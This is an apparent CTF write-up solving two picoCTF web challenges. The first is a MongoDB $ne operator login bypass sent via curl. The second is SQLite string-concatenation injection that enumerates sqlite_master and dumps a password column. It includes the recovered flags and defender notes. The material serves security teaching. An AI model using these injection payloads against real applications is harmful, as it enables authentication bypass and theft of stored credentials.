0x4 - Learn CTF: Web Exploitation

Table of Contents


No SQL Injection (picoCTF)

Summary

  • Category: Web / NoSQL Injection
  • Challenge: No SQL Injection
  • Target: http://atlas.picoctf.net:54182/
  • Goal: bypass login and recover flag token.

Source analysis

From server.js, login handler parses user input like this:

email:
  email.startsWith("{") && email.endsWith("}")
    ? JSON.parse(email)
    : email,
password:
  password.startsWith("{") && password.endsWith("}")
    ? JSON.parse(password)
    : password,

Then it performs:

User.findOne({ email: <parsed>, password: <parsed> })

So if we send JSON object strings, they become Mongo operators instead of plain strings.

Exploit

Use $ne on both fields so query matches any user:

  • email={"$ne":null}
  • password={"$ne":null}

Request example:

curl -s -X POST 'http://atlas.picoctf.net:54182/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'email={"$ne":null}' \
  --data-urlencode 'password={"$ne":null}'

Response includes a base64 token:

{"success":true,"email":"picoplayer355@picoctf.org","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzI1YmE0ZGUxfQ==","firstName":"pico","lastName":"player"}

Decode token:

python3 - << 'PY'
import base64
s='cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzI1YmE0ZGUxfQ=='
print(base64.b64decode(s).decode())
PY

Flag

picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_25ba4de1}

Fix (defender notes)

  • Never JSON.parse raw login fields into query objects.
  • Validate type strictly (typeof email === 'string', etc).
  • Use schema validation and reject operator keys like $ne, $gt, $regex.
  • Consider libraries that sanitize Mongo selectors.

Startup Company (picoCTF)

Summary

  • Category: Web / SQL Injection (SQLite)
  • Challenge: Startup Company
  • Target: http://wily-courier.picoctf.net:53030/
  • Goal: leak table data and recover flag.

Recon and signal

After registering and logging in, donation submission (contribute.php) takes:

  • hidden captcha
  • moneys

When non-numeric payloads are forced into moneys (e.g. from browser devtools), the app returns a DB warning:

Warning: SQLite3::query(): Unable to prepare statement ... in /var/www/html/contribute.php on line 11
Database error.

This confirms SQL query construction in contribute.php and SQLite backend.

Injection shape

A direct quote confirms string context:

'

Then we pivot to concatenation-based extraction that keeps SQL valid:

0'||(<subquery>)||'

Table and schema discovery

Use donation payloads:

  • SQLite version:
0'||sqlite_version()||'
  • Tables:
0'||(SELECT group_concat(name) FROM sqlite_master)||'
  • Columns in discovered table:
0'||(SELECT group_concat(name,':') FROM pragma_table_info('startup_users'))||'

Result shows table and columns:

  • table: startup_users
  • columns: nameuser, wordpass, money

Data exfiltration

Dump target column:

0'||(SELECT group_concat(wordpass,':') FROM startup_users)||'

This returns many entries including the flag string.

Flag

picoCTF{1_c4nn0t_s33_y0u_58183fce}

Defender notes

  • Never concatenate user input into SQL queries.
  • Use prepared statements with bound parameters.
  • Enforce strict server-side numeric validation for moneys.
  • Do not expose raw DB warnings in production.
 

Zero

CTF notes by Zero


Web challenge writeups covering injection flaws, data leakage, and practical exploitation flows.

By Zero, 2026-02-24


Tags

#ctf #learn #web